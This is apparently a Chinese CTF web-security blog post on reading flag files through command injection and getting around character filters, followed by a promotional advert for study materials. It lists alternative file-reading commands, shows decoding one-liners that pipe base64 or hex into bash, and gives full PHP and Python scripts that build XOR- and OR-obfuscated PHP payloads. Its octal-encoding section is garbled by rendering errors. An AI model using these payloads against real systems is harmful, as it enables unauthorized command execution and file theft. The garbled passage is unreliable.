CTF(Web)中关于执行读取文件命令的相关知识与绕过技巧

sed 可以这样构造 sed p /f*

sort(用于将文本文件内容加以排序)

uniq(删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行)

rev (反转一个或多个文件的行)会把flag倒叙输出

od (od(Octal Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方式是八进制。)

vim (这俩都是Linux里的文件编辑器,我们在网页直接用system(“vim /f*”);虽然不会进入编辑模式但还是可以看到里面的内容。)

man(man 命令是 Linux 下的帮助指令,通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息,类似于vim/vi,直接对文本运行可以看到文本内容。)

paste (使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。)

grep(查找文件里符合条件的字符串)可以这样构造 grep { /f*

file (查看文件信息或类型) file -f /f*

dd (用于读取、转换并输出数据。) 后要加 if=/flag(有点鸡肋,因为f一般会被ban)

大ban

被ban的字符很多,或者只能用几个特定的字符,上述的一些方法就构造不出payload了,这时就要用到较为麻烦的方法了,那就是编码。下面着重介绍几个并附上脚本。(找到合适的编码方式后,还要考虑该方式能不能被识别出来,构造不对就可能被认为是字符串而已)

1.base64编码 echo ’编码后的‘ |base64 -d | bash

2.hex编码 echo ”    “ |xxd -r -p |bash

补充知识:管道符 | 会将前一个命令执行的结果当作第二个命令的输入。

xxd命令:它能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,用法是:xxd /f*

3.oct编码 当你看到白名单中有数字,KaTeX parse error: Undefined control sequence: \  at position 3:   \̲ ̲ ' ' 基本可以确定要用这种…’ ‘,单引号里加入编码后的内容,空格一般不能被识别,所以可以在空格处断开 KaTeX parse error: Double superscript at position 3: ' '̲<’ '这样就可以了。

下面附上脚本4.异或 同或()

在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

或与其原理相同。

下面附上两个脚本

异或

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

    if($i<16){
        $hex_i='0'.dechex($i);
    }
    else{
        $hex_i=dechex($i);
    }
    if($j<16){
        $hex_j='0'.dechex($j);
    }
    else{
        $hex_j=dechex($j);
    }
    $preg = '/[flag$\/*?;]/';   // 根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
        echo "";
    }
    else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

注意根据题目过滤要求修改一下正则

执行后会生成一个txt文件,将其粘贴至下一个python脚本文件夹下

# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

运行python,在控制板输入你要编码的内容。

或的方式相同,不做赘述,附上php与python脚本

<?php


$myfile = fopen("or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }
        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }
        $preg = '/[flag$\/*?;]/';    // 根据题目给的正则表达式修改即可
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }

    }
}
fwrite($myfile, $contents);
fclose($myfile);

# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("or_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

18)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值